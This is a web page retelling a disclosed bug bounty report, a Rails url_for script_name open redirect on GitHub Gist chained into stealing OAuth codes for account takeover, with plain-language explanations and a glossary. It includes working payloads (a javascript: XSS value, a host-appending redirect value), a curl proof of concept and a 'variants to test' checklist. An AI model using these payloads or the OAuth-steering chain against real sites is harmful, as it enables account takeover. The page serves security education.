Skip to content
Open redirect Write-up Intermediate

Discovery

While investigating URL generation methods for CSRF token bypasses, the author looked for a way to create the required token.

William Bowling Follow

Published on devcraft.io

Bounty$10,000 View original

While looking into bypasses for the per form CSRF token in my last post, I was digging into every method that was used to generate urls, trying to find one that could be used to create the required token.

William Bowling / vakzz (@wcbowling), on devcraft.io

The full write-up lives on its author's site

It belongs to its author, so we link to it rather than copy it. The other two tabs are our own rewrites, checked against it.

Written with AI from the full original report and checked against it passage by passage; anything it could not back up was removed or toned down. The original is the record. 7 min read.

Context

GitHub Gist runs the same Rails application as GitHub, exposed behind a different hostname with a different set of routes. Logging in to Gist goes through the normal GitHub OAuth flow, which is a chain of redirects between github.com and gist.github.com. The bug described here lives in the application controller, in a before_action that runs early in the request lifecycle, so it affects essentially every route, since all controllers extend the application controller.

The feature involved is url_for, the Rails helper commonly used to generate links to other controllers. When it is called with a user-controllable hash, any extra parameters in that hash are appended to the URL as a query string. The researcher was originally looking at url_for while hunting for a bypass of the per-form CSRF token, and found several places where it was called with a hash an attacker could influence.

Setup

The redirect behaviour was demonstrated with a request to local.dev. The researcher used curl to inspect a redirect response and a private browser tab to walk the OAuth flow. The relevant Rails option list, taken from the url_for documentation, is:

  • :only_path - If true, the relative URL is returned. Defaults to false.
  • :protocol - The protocol to connect to. Defaults to 'http'.
  • :host - Specifies the host the link should be targeted at. If :only_path is false, this option must be provided either explicitly, or via default_url_options.
  • :subdomain - Specifies the subdomain of the link, using the tld_length to split the subdomain from the host. If false, removes all subdomains from the host part of the link.
  • :domain - Specifies the domain of the link, using the tld_length to split the domain from the host.
  • :tld_length - Number of labels the TLD id composed of, only used if :subdomain or :domain are supplied. Defaults to ActionDispatch::Http::URL.tld_length, which in turn defaults to 1.
  • :port - Optionally specify the port to connect to.
  • :anchor - An anchor name to be appended to the path.
  • :params - The query parameters to be appended to the path.
  • :trailing_slash - If true, adds a trailing slash, as in "/archive/2009/"
  • :script_name - Specifies application path relative to domain root. If provided, prepends application path.

Finding it

The researcher had previously seen applications blacklist or remove the more obvious options such as :protocol and :host, or force :only_path to true, to keep url_for safe. Brakeman's redirect check is cited as treating that approach as safe. The :script_name option, however, was unfamiliar. It is consumed by the path_for method, and when present it is always placed at the start of the path:

Ruby
def path_for(options)
    path = options[:script_name].to_s.chomp("/")
    path << options[:path] if options.key?(:path)

    add_trailing_slash(path) if options[:trailing_slash]
    add_params(path, options[:params]) if options.key?(:params)
    add_anchor(path, options[:anchor]) if options.key?(:anchor)

    path
end

Several places in GitHub built links with code similar to this:

ERB
<a class="link" href="<%= url_for(request.query_parameters.merge(only_path: true)) %>">
    Click me
</a>

Because the whole query string is merged into the options hash, a request with ?script_name=javascript:alert(1)// produced the following HTML:

HTML
<a class="link" href="javascript:alert(1)//user/repo/...">
    Click me
</a>

That is a reflected XSS requiring a click, and it was blocked by the CSP, so it was low severity, but it showed that script_name was reachable from user input.

The more interesting sink was a redirect in the application controller. The method and parameter names have been changed in the write-up, but the structure is:

Ruby
  before_action :check_source

  def check_source
    source = params["source"]
    return redirect_to(check_source_redirect_url) if source == "message"
  end

  def check_source_redirect_url
    query = Addressable::URI.parse(request.env["REQUEST_URI"]).query_values || {}
    filtered_params = query.except("source", "token").merge(only_path: true)
    url_for(filtered_params)
  end

The code parses the raw request URI, drops source and token from the query, and passes the rest to url_for with only_path: true. On the face of it that confines the result to the current host and merely preserves the query parameters. But script_name is not required to start with a slash, and when the result is passed to redirect_to it is appended directly to the host.

Exploitation

Step 1: Confirm the redirect behaviour locally

A request with source=message and a script_name value was sent to the local application:

HTTP
curl -i 'http://local.dev?source=message&script_name=ggg'
HTTP/1.1 302 Found
X-Frame-Options: SAMEORIGIN
X-XSS-Protection: 1; mode=block
X-Content-Type-Options: nosniff
X-Download-Options: noopen
X-Permitted-Cross-Domain-Policies: none
Referrer-Policy: strict-origin-when-cross-origin
Location: http://local.devggg/welcome/index
Content-Type: text/html; charset=utf-8
Cache-Control: no-cache
X-Request-Id: 7c8eedfa-f552-4d5a-bbcd-295f4e7fd9c0
X-Runtime: 0.002744
Transfer-Encoding: chunked

<html><body>You are being <a href="http://local.devggg/welcome/index">redirected</a>.</body></html>

The Location header shows http://local.devggg/welcome/index: the script_name value was concatenated onto the host with no separator. Since the end of the domain is controllable, using .attacker.domain as the script_name redirects the browser to the attacker's domain. The researcher submitted this as an open redirect and continued looking for CSRF bypasses.

Step 2: Recognise the reach of the sink

The next day, discussing the impact of open redirects with corb3nik, the researcher was pointed at OAuth tokens as a common target. Revisiting the bug, the key realisation was that the before_action runs early in the application controller, so it applies to pretty much any route, because all controllers extend the application controller.

Step 3: Map the Gist OAuth flow

GitHub ships with built-in OAuth applications, one of which is for Gist. Logging in to Gist goes through the normal OAuth flow, a chain of redirects:

  1. https://github.com/login/oauth/authorize?client_id=7e0a3cd836d3e544dbd9&redirect_uri=https://gist.github.com/auth/github/callback
  2. https://gist.github.com/auth/github/callback?browser_session_id=XXX&code=YYY
  3. https://gist.github.com/auth/github
  4. https://github.com/login/oauth/authorize?client_id=7e0a3cd836d3e544dbd9&redirect_uri=https%3A%2F%2Fgist.github.com%2Fauth%2Fgithub%2Fcallback&response_type=code&state=ZZZ
  5. https://gist.github.com/auth/github/callback?browser_session_id=XXX&code=YYY&state=ZZZ
  6. https://gist.github.com/

To complete a login to Gist, an attacker only needs the browser_session_id and code. The client_id is public, and the state parameter can be generated by the attacker because it exists only for CSRF prevention.

Step 4: Redirect the callback with the OAuth parameters

The initial redirect goes to the redirect_uri carrying the code and browser_session_id. Adding script_name=.wbowling.info to that request worked: the browser was redirected to the researcher's domain with the required parameters appended.

Step 5: Complete the login

In a new private tab the researcher visited https://gist.github.com/auth/github/callback to obtain a valid state parameter, then visited it again using the valid browser_session_id, code and state values, and was successfully logged in. Because GitHub and Gist use different session tokens, the result did not grant access to github.com, but it did grant full access to Gist.

Root cause

The mistake is trusting the :script_name option of url_for with attacker-controlled input. path_for prepends options[:script_name] to the path without requiring a leading slash, and redirect_to then appends that path directly to the host. The only_path: true guard, which is the usual mitigation for url_for redirects, does not help here, because the value is not a host or protocol override: it is a path prefix that escapes the host boundary by concatenation. The except("source", "token") filter removes two named parameters, and script_name still reached url_for. The earlier reflected XSS was blocked by the CSP.

Impact

An attacker could redirect a victim from gist.github.com to an attacker-controlled domain while carrying the OAuth code and browser_session_id in the query string, then use those values to log in as the victim. The result is full account takeover of Gist. The attack does not extend to github.com, because GitHub and Gist use different session tokens. The state parameter does not prevent the attack, since the attacker can generate it. The open redirect was reported on July 26, 2020, and updated with the Gist account takeover the same day.

Fix

According to the timeline, the bug affected github.com but not GitHub Enterprise Server, and it was hot fixed on July 29, 2020. The write-up does not describe the code change itself.

Variants to test

  1. Look for url_for calls that merge request.query_parameters or a parsed query string into the options hash.
  2. Try ?script_name=javascript:alert(1)// against link-generating sinks. A positive result is a javascript: URL in an href, subject to CSP.
  3. Try ?script_name=.attacker.domain against redirect sinks that use only_path: true. A positive result is a Location header such as http://local.devattacker.domain/..., showing the value was concatenated onto the host.
  4. Apply the same idea to OAuth callback endpoints: if the callback redirect can be steered to an attacker domain while carrying code and session identifiers, and the state value can be obtained independently, the flow may be completable as account takeover.
  5. Check other URL-shaping options that may be less commonly filtered, such as :script_name, alongside the usual :host, :protocol and :only_path.

Written with AI from the full original report and checked against it passage by passage; anything it could not back up was removed or toned down. The original is the record. 17 min read.

What happened, in plain words

GitHub Gist is a website where people paste snippets of text or code and share them with a link. It is run by GitHub, and behind the scenes it is the same software as the main GitHub site, just served under a different web address (gist.github.com instead of github.com).

To use Gist you log in with your GitHub account. That login does not happen in one step: your browser is bounced back and forth between github.com and gist.github.com several times, and along the way it carries a few short pieces of text that prove who you are. This bouncing is called an OAuth flow, and it is a standard way for one website to ask another website to confirm your identity.

The researcher found places where a piece of code that builds web addresses (URLs) was called with user-controllable input. By adding a special value to a link, he could make the site send the browser to a domain of his choosing, while still carrying the login pieces along. Because those pieces were enough to finish a Gist login, he could log in as someone else. That is called account takeover.

He first reported it as a simple open redirect (a bug where a site will forward you to any address you name). The next day, after a conversation about how open redirects can be abused, he realised the same bug could steal a Gist login, and updated the report. A $10,000 bounty was awarded.

Background you need first

A few everyday ideas come up again and again below, so here they are before we start.

  • URL (web address): the text in your browser's address bar, like https://gist.github.com/. It has parts: the https:// is the protocol (how to talk), gist.github.com is the host (which computer), and anything after the first / is the path (which page on that computer). Anything after a ? is the query string, a list of small named values, like ?colour=blue&size=large.
  • Redirect: when a website answers your request not with a page but with an instruction saying "go look over there instead". Your browser follows it automatically. The instruction is a response with status code 302 and a Location header holding the new address.
  • Header: extra labelled information sent alongside a web request or response. Location is one; Content-Type is another.
  • Cookie / session token: a small piece of text your browser stores for a site and sends back with every request, so the site can remember that you are logged in. If someone else gets your session token, they can act as you.
  • OAuth: a system where site A asks site B to confirm who you are, without site A ever seeing your password. Site B hands site A a short-lived code, and site A swaps that code for access. The client_id is site A's public name tag. The state value is a random string site A makes up to make sure the reply it gets belongs to the request it sent (a guard against cross-site request forgery, CSRF).
  • CSRF (cross-site request forgery): tricking a logged-in user's browser into sending a request the user did not intend. Sites defend against it with per-form tokens, small secret values embedded in each form.
  • XSS (cross-site scripting): getting a website to run code (usually JavaScript) that the site's authors did not write. A javascript: link is one way: if a page contains a link whose address starts with javascript:, clicking it runs the code after the colon.
  • CSP (Content Security Policy): a rule set a site sends to your browser saying which sources of code it is allowed to run. A strict CSP can block an XSS even when the bug exists.
  • Rails: a popular toolkit for building websites, written in the Ruby programming language. GitHub and Gist are built with it.
  • Controller: in Rails, the part of the code that handles an incoming request and decides what to send back. The application controller is the shared parent that every other controller inherits from, so code placed there runs for nearly every page on the site.
  • before_action: a Rails instruction meaning "run this method before handling the request". If it redirects, the request stops there.
  • url_for: a Rails helper that builds a URL from a set of options. You give it a list of named settings and it produces an address.
  • Hash: in Ruby, a collection of named values, like a labelled box. {only_path: true} is a hash with one entry.
  • Open redirect: a bug where a site will forward a visitor to an address supplied by the visitor, with no check that the address belongs to the site. On its own it looks harmless; it becomes dangerous when the forwarded address carries secrets.
  • Account takeover: an attacker gaining full control of someone else's account.

The context: where the bug lived

Gist runs the same Rails application as GitHub, exposed behind a different hostname with a different set of routes. Logging in to Gist goes through the normal GitHub OAuth flow, a chain of redirects between github.com and gist.github.com.

The bug sits in the application controller, inside a before_action that runs early in the request lifecycle. Because every controller extends the application controller, that code runs for essentially every route on the site. That is what made a small redirect flaw so powerful.

The feature involved is url_for. When it is called with a hash that a user can influence, any extra parameters in that hash are appended to the URL as a query string. The researcher was originally looking at url_for while hunting for a way around the per-form CSRF token, and found several places where it was called with a hash an attacker could influence.

The setup

The redirect behaviour was demonstrated with a request to local.dev. The researcher used curl (a command-line tool that fetches a web address and prints the raw response, headers included) to inspect redirect responses, and a private browser tab to walk the OAuth flow.

The relevant Rails option list, taken from the url_for documentation, is:

  • :only_path - If true, the relative URL is returned. Defaults to false.
  • :protocol - The protocol to connect to. Defaults to 'http'.
  • :host - Specifies the host the link should be targeted at. If :only_path is false, this option must be provided either explicitly, or via default_url_options.
  • :subdomain - Specifies the subdomain of the link, using the tld_length to split the subdomain from the host. If false, removes all subdomains from the host part of the link.
  • :domain - Specifies the domain of the link, using the tld_length to split the domain from the host.
  • :tld_length - Number of labels the TLD id composed of, only used if :subdomain or :domain are supplied. Defaults to ActionDispatch::Http::URL.tld_length, which in turn defaults to 1.
  • :port - Optionally specify the port to connect to.
  • :anchor - An anchor name to be appended to the path.
  • :params - The query parameters to be appended to the path.
  • :trailing_slash - If true, adds a trailing slash, as in "/archive/2009/"
  • :script_name - Specifies application path relative to domain root. If provided, prepends application path.

In plain words: url_for accepts a menu of settings. :host and :protocol let you change which computer and how to talk to it. :only_path says "give me just the path part, not the whole address". :script_name says "put this text at the front of the path". That last one is the one that matters here.

Finding it

The researcher had previously seen applications blacklist or remove the more obvious options such as :protocol and :host, or force :only_path to true, to keep url_for safe. Brakeman (a tool that scans Rails code for security mistakes) is cited as treating that approach as safe. The :script_name option, however, was unfamiliar. It is consumed by the path_for method, and when present it is always placed at the start of the path:

Ruby
def path_for(options)
    path = options[:script_name].to_s.chomp("/")
    path << options[:path] if options.key?(:path)

    add_trailing_slash(path) if options[:trailing_slash]
    add_params(path, options[:params]) if options.key?(:params)
    add_anchor(path, options[:anchor]) if options.key?(:anchor)

    path
end

Line by line:

  1. def path_for(options) starts a method that takes one hash of options.
  2. path = options[:script_name].to_s.chomp("/") takes the script_name value, turns it into text, and removes a trailing slash if there is one. This becomes the starting point of the path. Note there is no check that it begins with a slash.
  3. path << options[:path] if options.key?(:path) appends the normal path, if one was given.
  4. The next three lines add a trailing slash, query parameters and an anchor, if those options were given.
  5. path returns the finished string.

The important part is line 2: whatever the user put in script_name is glued to the front of the path, unchecked.

Several places in GitHub built links with code similar to this:

ERB
<a class="link" href="<%= url_for(request.query_parameters.merge(only_path: true)) %>">
    Click me
</a>

This is a template for a web page. <a ...> is a link, href is its destination, and <%= ... %> means "run this Ruby code and put the result here". request.query_parameters is everything after the ? in the visitor's address bar, and .merge(only_path: true) adds the setting "path only". So the visitor's query string is fed straight into url_for.

Because the whole query string is merged into the options hash, a request with ?script_name=javascript:alert(1)// produced the following HTML:

HTML
<a class="link" href="javascript:alert(1)//user/repo/...">
    Click me
</a>

Here the script_name value became the start of the link's destination, so the link now begins with javascript:. Clicking it would run alert(1), a harmless pop-up used to prove code execution. That is a reflected XSS (reflected because the attacker's input is echoed straight back into the page), requiring a click, and it was blocked by the CSP, so it was low severity. But it proved that script_name could be reached from user input.

The more interesting sink was a redirect in the application controller. The method and parameter names have been changed in the write-up, but the structure is:

Ruby
  before_action :check_source

  def check_source
    source = params["source"]
    return redirect_to(check_source_redirect_url) if source == "message"
  end

  def check_source_redirect_url
    query = Addressable::URI.parse(request.env["REQUEST_URI"]).query_values || {}
    filtered_params = query.except("source", "token").merge(only_path: true)
    url_for(filtered_params)
  end

Line by line:

  1. before_action :check_source tells Rails to run check_source before handling any request.
  2. def check_source starts that method.
  3. source = params["source"] reads the source value from the request.
  4. return redirect_to(check_source_redirect_url) if source == "message" says: if source is the word message, build a URL with the next method and redirect the browser there, then stop.
  5. def check_source_redirect_url starts the URL-building method.
  6. query = Addressable::URI.parse(request.env["REQUEST_URI"]).query_values || {} takes the raw address the browser asked for, pulls out the query string, and turns it into a hash of names and values. If there is none, it uses an empty hash.
  7. filtered_params = query.except("source", "token").merge(only_path: true) removes the source and token entries and adds only_path: true.
  8. url_for(filtered_params) builds the URL from whatever is left.

On the face of it, only_path: true confines the result to the current host and merely preserves the query parameters. But script_name is not required to start with a slash, and when the result is passed to redirect_to it is appended directly to the host. The except call removes two named parameters, and script_name still reached url_for.

Exploitation

Step 1: Confirm the redirect behaviour locally

A request with source=message and a script_name value was sent to the local application:

HTTP
curl -i 'http://local.dev?source=message&script_name=ggg'
HTTP/1.1 302 Found
X-Frame-Options: SAMEORIGIN
X-XSS-Protection: 1; mode=block
X-Content-Type-Options: nosniff
X-Download-Options: noopen
X-Permitted-Cross-Domain-Policies: none
Referrer-Policy: strict-origin-when-cross-origin
Location: http://local.devggg/welcome/index
Content-Type: text/html; charset=utf-8
Cache-Control: no-cache
X-Request-Id: 7c8eedfa-f552-4d5a-bbcd-295f4e7fd9c0
X-Runtime: 0.002744
Transfer-Encoding: chunked

<html><body>You are being <a href="http://local.devggg/welcome/index">redirected</a>.</body></html>

What this shows:

  1. curl -i fetches the address and prints the response headers as well as the body.
  2. The first line, HTTP/1.1 302 Found, is the redirect status.
  3. The X-Frame-Options, X-XSS-Protection, X-Content-Type-Options, X-Download-Options, X-Permitted-Cross-Domain-Policies and Referrer-Policy lines are security headers the app sends on every response. They are not the bug.
  4. Location: http://local.devggg/welcome/index is the key line. The script_name value ggg was glued straight onto the host local.dev, with no dot or slash in between, producing local.devggg.
  5. The body is a small HTML page with a link to the same address, shown to users whose browsers do not follow redirects automatically.

Since the end of the domain is controllable, using .attacker.domain as the script_name redirects the browser to the attacker's domain. The researcher submitted this as an open redirect and continued looking for CSRF bypasses.

Step 2: Recognise the reach of the sink

The next day, discussing the impact of open redirects with corb3nik, the researcher was pointed at OAuth tokens as a common target. Revisiting the bug, the key realisation was that the before_action runs early in the application controller, so it applies to pretty much any route, because all controllers extend the application controller. In other words, this was not one obscure page: it was a trapdoor under the whole site.

Step 3: Map the Gist OAuth flow

GitHub ships with built-in OAuth applications, one of which is for Gist. Logging in to Gist goes through the normal OAuth flow, a chain of redirects:

  1. https://github.com/login/oauth/authorize?client_id=7e0a3cd836d3e544dbd9&redirect_uri=https://gist.github.com/auth/github/callback
  2. https://gist.github.com/auth/github/callback?browser_session_id=XXX&code=YYY
  3. https://gist.github.com/auth/github
  4. https://github.com/login/oauth/authorize?client_id=7e0a3cd836d3e544dbd9&redirect_uri=https%3A%2F%2Fgist.github.com%2Fauth%2Fgithub%2Fcallback&response_type=code&state=ZZZ
  5. https://gist.github.com/auth/github/callback?browser_session_id=XXX&code=YYY&state=ZZZ
  6. https://gist.github.com/

What each step is doing:

  1. Gist sends you to GitHub's authorisation page, naming its client_id (its public name tag) and the redirect_uri (where GitHub should send you back).
  2. GitHub sends you back to that callback address, carrying a browser_session_id and a code.
  3. Gist's own login page takes over.
  4. Gist sends you to GitHub again, this time with a state value added (the CSRF guard) and the callback address URL-encoded (%3A is :, %2F is /).
  5. GitHub sends you back to the callback with browser_session_id, code and state.
  6. You land on the Gist home page, logged in.

To complete a login to Gist, an attacker only needs the browser_session_id and code. The client_id is public, and the state parameter can be generated by the attacker because it exists only for CSRF prevention. In other words, the two secrets that matter are the two that travel in the URL.

Step 4: Redirect the callback with the OAuth parameters

The initial redirect goes to the redirect_uri carrying the code and browser_session_id. Adding script_name=.wbowling.info to that request worked: the browser was redirected to the researcher's domain with the required parameters appended.

Step 5: Complete the login

In a new private tab the researcher visited https://gist.github.com/auth/github/callback to obtain a valid state parameter, then visited it again using the valid browser_session_id, code and state values, and was successfully logged in. Because GitHub and Gist use different session tokens, the result did not grant access to github.com, but it did grant full access to Gist.

Root cause

The mistake is trusting the :script_name option of url_for with attacker-controlled input. path_for prepends options[:script_name] to the path without requiring a leading slash, and redirect_to then appends that path directly to the host. The only_path: true guard, which is the usual mitigation for url_for redirects, does not help here, because the value is not a host or protocol override: it is a path prefix that escapes the host boundary by concatenation. The except("source", "token") filter only removes two named parameters and leaves every other query parameter, including script_name, in the hash. The earlier reflected XSS was blocked by the CSP.

Impact

An attacker could redirect a victim from gist.github.com to an attacker-controlled domain while carrying the OAuth code and browser_session_id in the query string, then use those values to log in as the victim. The result is full account takeover of Gist. The attack does not extend to github.com, because GitHub and Gist use different session tokens. The state parameter does not prevent the attack, since the attacker can generate it. The open redirect was reported on July 26, 2020, and updated with the Gist account takeover the same day.

Fix

According to the timeline, the bug affected github.com but not GitHub Enterprise Server, and it was hot fixed on July 29, 2020. The write-up does not describe the code change itself.

Timeline

  • July 26, 2020 00:33:38 AEST - Reported open redirect
  • July 26, 2020 12:57:38 AEST - Updated with Gist account takeover
  • July 26, 2020 23:33:30 AEST - Report was triaged
  • July 29, 2020 (not sure exactly when) - Since the bug only affected github.com and not GHE it was hot fixed
  • October 15, 2020 05:45:45 AEDT - $10,000 bounty awarded

Variants to test

  1. Look for url_for calls that merge request.query_parameters or a parsed query string into the options hash.
  2. Try ?script_name=javascript:alert(1)// against link-generating sinks. A positive result is a javascript: URL in an href, subject to CSP.
  3. Try ?script_name=.attacker.domain against redirect sinks that use only_path: true. A positive result is a Location header such as http://local.devattacker.domain/..., showing the value was concatenated onto the host.
  4. Apply the same idea to OAuth callback endpoints: if the callback redirect can be steered to an attacker domain while carrying code and session identifiers, and the state value can be obtained independently, the flow may be completable as account takeover.
  5. Check other URL-shaping options that may be less commonly filtered, such as :script_name, alongside the usual :host, :protocol and :only_path.

Glossary

  • Anchor: the part of a URL after a #, pointing to a spot within a page.
  • API: a defined way for one piece of software to talk to another, like a service counter with set questions and answers.
  • Application controller: in Rails, the shared parent controller whose code runs for nearly every request.
  • Bounty: a payment a company makes to someone who reports a security bug responsibly.
  • Brakeman: a tool that scans Rails code for security mistakes.
  • before_action: a Rails instruction to run a method before handling a request.
  • Callback: the address a service sends you back to after you authorise something.
  • Client ID: a public identifier a website uses when asking another site for OAuth access.
  • Code (OAuth): a short-lived value handed back after authorisation, exchanged for access.
  • Controller: the part of a Rails app that handles a request and decides the response.
  • Cookie: a small piece of text a browser stores for a site and sends back with each request.
  • CSP (Content Security Policy): rules a site sends to the browser about which code it may run.
  • curl: a command-line tool that fetches a web address and prints the raw response.
  • Domain: the name of a computer on the internet, like gist.github.com.
  • Gist: GitHub's service for sharing snippets of text or code.
  • Hash: in Ruby, a collection of named values.
  • Header: labelled extra information sent with a web request or response.
  • Host: the computer part of a URL, like gist.github.com.
  • Hot fix: an urgent fix applied directly to a live system.
  • HTML: the language web pages are written in.
  • href: the attribute of a link that holds its destination address.
  • JavaScript: the programming language browsers run inside web pages.
  • javascript: URL: a link address that runs JavaScript when clicked.
  • Location header: the response header that tells a browser where to redirect to.
  • OAuth: a system where one site asks another to confirm your identity without seeing your password.
  • Open redirect: a bug where a site forwards a visitor to any address the visitor names.
  • only_path: a url_for option that asks for just the path part of a URL.
  • Path: the part of a URL after the host, like /welcome/index.
  • Protocol: the https:// part of a URL, saying how to talk to the server.
  • Query string: the ?name=value&name=value part of a URL.
  • Rails: a toolkit for building websites in the Ruby programming language.
  • Redirect: a response telling the browser to go to a different address instead.
  • Reflected XSS: an XSS where the attacker's input is echoed straight back into the page.
  • script_name: a url_for option that puts text at the front of the path.
  • Session token: a value stored in a cookie that proves you are logged in.
  • State (OAuth): a random value a site makes up to check that an OAuth reply belongs to its own request.
  • Status code: a number in a response saying what happened, like 302 for a redirect.
  • Subdomain: a prefix on a domain, like gist in gist.github.com.
  • TLD: the last part of a domain, like com.
  • url_for: a Rails helper that builds a URL from a set of named options.
  • URL: a web address.
  • XSS (cross-site scripting): getting a website to run code its authors did not write.

More by William Bowling

View all

4 more disclosed reports, best first.

More from GitHub

View all

The newest disclosed reports for this program.

Similar reports

View all

Same bug class and techniques, clearest first.

Open redirect

The lesson behind this report.

A trusted site forwards users to any address an attacker picks; rarely paid alone, often the missing link in a chain.